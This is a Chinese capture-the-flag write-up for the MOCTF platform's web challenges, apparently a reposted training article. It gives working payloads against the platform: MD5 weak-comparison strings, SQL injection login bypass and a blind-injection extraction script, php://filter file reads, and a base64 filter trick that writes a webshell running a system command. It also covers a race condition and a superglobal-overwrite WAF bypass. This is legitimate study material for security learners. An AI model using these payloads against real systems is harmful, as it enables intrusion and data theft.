Moctf-web题解
点击蓝字
关注我们
前记
MOCTF平台是CodeMonster和Mokirin这两支CTF战队所搭建的一个CTF在线答题系统。题目形式与各大CTF比赛相同。目的是为两个学校中热爱信息安全的同学们提供一个刷题的平台,能够一起学习、进步(滑稽脸,给xishir师傅打call)
抽空做完了web类型的题,于是写了一下题解~由于是训练oj,就没有直接给出flag,233333333,大家可以自己动手尝试,做下来感觉题目难度不大,适合新手入门
给出平台连接: http://ctf.codemonster.cn
签到
加群就有flag就不说啦
(滑稽脸)xishir师傅弄的oj,打电话打电话!!
一道水题
f12源代码里就有flag
还是水题
常规的前端
<input type="password" value="" disabled="disabled" name="password" maxlength="4">
改一下限制就行啦,改成5,输入moctf就有flag
访问限制
抓包,然后发包
GET /web3/ HTTP/1.1
Host: 119.23.73.3:5001
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: NAIVE text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://ctf.codemonster.cn/challenges
Accept-Language: zh-HK
Connection: close
即可获得flag
机器蛇
查看robots.txt
发现
user-agent:
Disallow: /flag327a6c4304ad5938eaf0efb6cc3e53dc.php
Disallow: /index.html
访问f12即可拿到flag
PHP黑魔法
存在文件泄露
view-source:http://119.23.73.3:5001/web5/index.php~
可以得到
php
<?php
$flag="moctf{**************}";
if (isset($_GET['a'])&&isset($_GET['b'])) {
$a=$_GET['a'];
$b=$_GET['b'];
if($a==$b)
{
echo "<center>Wrong Answer!</center>";
}
else {
if(md5($a)==md5($b))
{
echo "<center>".$flag."</center>";
echo "By:daoyuan";
}
else echo "<center>Wrong Answer!</center>";
}
}
else echo "<center>好像少了点什么</center>";
?>
是一个弱比较,即md5的0e开头的比较
访问
http://119.23.73.3:5001/web5/index.php?a=QNKCDZO&b=s878926199a
即可拿到flag
我想要钱
打开即看到源码
php
<?php
include "flag.php";
highlight_file(__FILE__);
if (isset($_GET['money'])) {
$money=$_GET['money'];
if(strlen($money)<=4&&$money>time()&&!is_array($money))
{
echo $flag;
echo "<!--By:daoyuan-->";
}
else echo "Wrong Answer!";
}
else echo "Wrong Answer!";
?>
虽然限制了money≤4,但是可以用科学计数法,即访问
http://119.23.73.3:5001/web6/?money=10e9
即可拿到flag
登录就对了
一个简单的注入
username=admin'#
password=1
即可登录成功,f12获得flag
Flag在哪?
一道脑洞题,抓包即可看到302跳转
where is flag!
I have a flag
I have a frog!
ah~ guess where is flag!
There is no flag!
23333典型的PPAP,我们猜测flagfrog.php
但是注意还是得抓包
GET /web7/frogflag.php HTTP/1.1
Host: 119.23.73.3:5001
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.86 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8
Connection: close
发送即可得到flag
死亡退出
打开即可看到源码
php
<?php
show_source(__FILE__);
$c="<?php exit;?>";
@$c.=$_POST['c'];
@$filename=$_POST['file'];
if(!isset($filename))
{
file_put_contents('tmp.php', '');
}
@file_put_contents($filename, $c);
include('tmp.php');
?>
p牛提过的经典问题
附上p牛的分析
https://www.leavesongs.com/PENETRATION/php-filter-magic.html
这里的
php
$c="<?php exit;?>";
会使php文件直接退出,不会执行后续代码,所以我们的目的是绕过这句话
而p牛提出了一个很好的方法:利用base64加解码的写入
例如:
c=aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTsgPz4=&file=php://filter/write=convert.base64-decode/resource=tmp.php
我们来分析一下这句话post上去的流程
首先是$c
当c拼接后变成:
<?php exit;?>aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTsgPz4=
然后经过base64-decode解码写入
这个时候写入后的文件变成了
^ƫZ<?php system('cat flag.php'); ?>
可以看到之前的<?php exit;?>的被解码成未知字符,而php就可以顺利执行后面的代码了
注:为什么c之前要加一个a
因为在解码的过程中,字符<、?、;、>、空格等一共有7个字符不符合base64编码的字符范围将被忽略,所以最终被解码的字符仅有“phpexit”和我们传入的其他字符。
而phpexit一共7个字符,因为base64算法解码时是4个byte一组,所以给他增加1个“a”一共8个字符。这样,"phpexita"被正常解码,而后面我们传入的webshell的base64内容也被正常解码。
所以最后发包如下即可获得flag
POST / HTTP/1.1
Host: 119.23.73.3:5003
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.86 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 110
c=aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTsgPz4=&file=php://filter/write=convert.base64-decode/resource=tmp.php
文件包含
基础的文件包含题目
http://119.23.73.3:5001/web8/index.php?file=welcome.txt
我们访问
http://119.23.73.3:5001/web8/index.php?file=php://filter/read=convert.base64-encode/resource=flag.php
即可得到
SSBoYXZlIGEgZmxhZyEKPD9waHAgCgovL0ZsYWc6IG1vY3Rme2YxbGVfaW5jbHVkNF9lNXN5fQovL0J5OmRhb3l1YW4KCj8+Cg==
解码即可得到flag
美味的饼干
进入后是一个登陆页面
尝试登陆admin,admin
得到cookie
ZWUxMWNiYjE5MDUyZTQwYjA3YWFjMGNhMDYwYzIzZWU%3D
解base64
ee11cbb19052e40b07aac0ca060c23ee
再解md5
user
此时猜想
我们要让cookie成为admin
于是构造
md5
21232f297a57a5a743894a0e4a801fc3
再base64
MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM=
然后更改cookie,刷新,f12,得到flag
火眼金睛
拿到题目
http://119.23.73.3:5001/web10/
眼睛看花掉,一堆字符串
我们要数里面有多少个moctf
这题应该是考验python的爬取
我们选用正则匹配+python
脚本如下
python
import requests
import re
url = "http://119.23.73.3:5001/web10/index.php"
r = requests.get(url=url)
res_tr = r"'100'>(.*?)</textarea>"
flagtxt = re.findall(res_tr,r.content)[0]
re_moctf = r"moctf"
moctf = re.findall(re_moctf,flagtxt)
number = len(moctf)
data = {
"answer":number
}
url2 = "http://119.23.73.3:5001/web10/work.php"
s = requests.post(url=url2,data=data,cookies=r.cookies)
print s.content
运行即可得到flag
简单注入
大家可以先自己做一下再看,这样可能感触比较深:http://119.23.73.3:5004
题目过滤了空格等一堆东西,所以引号闭合比较困难
但是这里可以想到用异或的方法
http://119.23.73.3:5004/?id=1'^'1
回显为空白
http://119.23.73.3:5004/?id=1'^'0
回显为Hello
原因是因为
select * from news where id='$id'
select * from news where id='1'^'1'
select * from news where id='1'^'0'
这样就一目了然了,'1'^'1'显然是查不到数据的,因为id=0
而'1'^'0'是显然为1的,所以既闭合了引号,也得到了注入方式
所以后面容易构造payload
id=2'^'(ascii(mid((select(TABLE_NAME)from(information_schema.TABLES)where(TABLE_SCHEMA=database())limit(0,1)),1,1))=1)
但是问题来了,这个limit 0,1用括号隔开好像不起作用?
我随后又尝试了limit(1)offset(1)但是也没起作用,那么怎么查询多条数据呢?
这里我发现group_concat没过滤,所以就很简单了
直接附上脚本
python
import requests
flag = ""
for i in range(1,300):
for j in range(33,127):
# url = "http://119.23.73.3:5004/?id=2'^'(ascii(mid((select(group_concat(TABLE_NAME))from(information_schema.TABLES)where(TABLE_SCHEMA=database())),"+str(i)+",1))="+str(j)+")"
# url = "http://119.23.73.3:5004/?id=2'^'(ascii(mid((select(group_concat(COLUMN_NAME))from(information_schema.COLUMNS)where(TABLE_NAME='do_y0u_l1ke_long_t4ble_name')),"+str(i)+",1))="+str(j)+")"
url = "http://119.23.73.3:5004/?id=2'^'(ascii(mid((select(d0_you_als0_l1ke_very_long_column_name)from(do_y0u_l1ke_long_t4ble_name)),"+str(i)+",1))="+str(j)+")"
r=requests.get(url=url)
if "Tip" in r.content:
flag +=chr(j)
print flag
break
没时间解释了
一道条件竞争的题目
首先是存在302跳转需要抓包
抓包得到
May be u need uploadsomething.php
访问
http://119.23.73.3:5006/web2/uploadsomething.php
发现是一个上传类似的页面
随便写一个
http://119.23.73.3:5006/web2/uploadsomething.php?filename=111&content=111
得到
Flag is here,come on~ http://119.23.73.3:5006/web2/uploads/e34d9b2f222eaa45dfd3f2522d12743a118ba5f7/111
尝试多次
http://119.23.73.3:5006/web2/uploadsomething.php?filename=flag&content=111
Flag is here,come on~ http://119.23.73.3:5006/web2/uploads/e34d9b2f222eaa45dfd3f2522d12743a118ba5f7/flag
http://119.23.73.3:5006/web2/uploadsomething.php?filename=sky&content=111
Flag is here,come on~ http://119.23.73.3:5006/web2/uploads/e34d9b2f222eaa45dfd3f2522d12743a118ba5f7/sky
发现文件夹路径是固定的,但是文件名是我们控制的,我们去访问就会得到:
Too slow!
于是想到条件竞争
开Burp的50线程,一个不断发包
http://119.23.73.3:5006/web2/uploadsomething.php?filename=flag&content=111
一个不断请求
http://119.23.73.3:5006/web2/uploads/e34d9b2f222eaa45dfd3f2522d12743a118ba5f7/flag
一会儿就看到了flag
unset
源码审计
php
<?php
highlight_file('index.php');
function waf($a){
foreach($a as $key => $value){
if(preg_match('/flag/i',$key)){
exit('are you a hacker');
}
}
}
foreach(array('_POST', '_GET', '_COOKIE') as $__R) {
if($$__R) {
foreach($$__R as $__k => $__v) {
if(isset($$__k) && $$__k == $__v) unset($$__k);
}
}
}
if($_POST) { waf($_POST);}
if($_GET) { waf($_GET); }
if($_COOKIE) { waf($_COOKIE);}
if($_POST) extract($_POST, EXTR_SKIP);
if($_GET) extract($_GET, EXTR_SKIP);
if(isset($_GET['flag'])){
if($_GET['flag'] === $_GET['daiker']){
exit('error');
}
if(md5($_GET['flag'] ) == md5($_GET['daiker'])){
include($_GET['file']);
}
}
?>
看到关键代码
php
foreach(array('_POST', '_GET', '_COOKIE') as $__R) {
if($$__R) {
foreach($$__R as $__k => $__v) {
if(isset($$__k) && $$__k == $__v) unset($$__k);
}
}
发现这是Destoon 20140530最新版超全局变量覆盖导致的安全问题
分析如下:
这里的逻辑是 如果post get cookie请求中的$$key和$value相等 就unset掉$$key
如果我们向index.php?x=123提交一个POST请求内容为_GET[x]=123
因为?x=123
所以$_GET内容为array('x'=>'123')
当开始遍历$_POST的时候$__k是_GET[x]
所以$$__k就是$_GET[x]也就是array('x'=>'123')
$__v是POST上来的一个数组,内容也是array('x'=>'123')
$$__k == $__v成立
所以我们的超全局变量$_GET就被unset了
由于我们的$_GET已经在前面被unset了 所以即使加了EXTR_SKIP extract($_POST)仍然能够正常的初始化$_GET extract($_GET)的值就成功绕过了waf的检查
然后我们就可以构造出2个0e开头的md5,成功文件包含,用php伪协议读取文件了!
我的payload如下
POST /index.php?flag=QNKCDZO&daiker=s878926199a&file=php://filter/read=convert.base64-encode/resource=flag.php HTTP/1.1
Host: 119.23.73.3:5101
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.86 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8
Cookie: PHPSESSID=om11lglr53tm1htliteav4uhk4
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 112
_GET[flag]=QNKCDZO&_GET[daiker]=s878926199a&_GET[file]=php://filter/read=convert.base64-encode/resource=flag.php
发送即可得到flag
看不过瘾?合天2017年度干货精华请点击《【精华】2017年度合天网安干货集锦》
别忘了投稿哟!!!
合天公众号开启原创投稿啦!!!
大家有好的技术原创文章。
欢迎投稿至邮箱:edu@heetian.com;
合天会根据文章的时效、新颖、文笔、实用等多方面评判给予100元-500元不等的稿费哟。
有才能的你快来投稿吧!
合天智汇
网址 : www.heetian.com
电话:4006-123-731
长按图片,据说只有颜值高的人才能识别哦→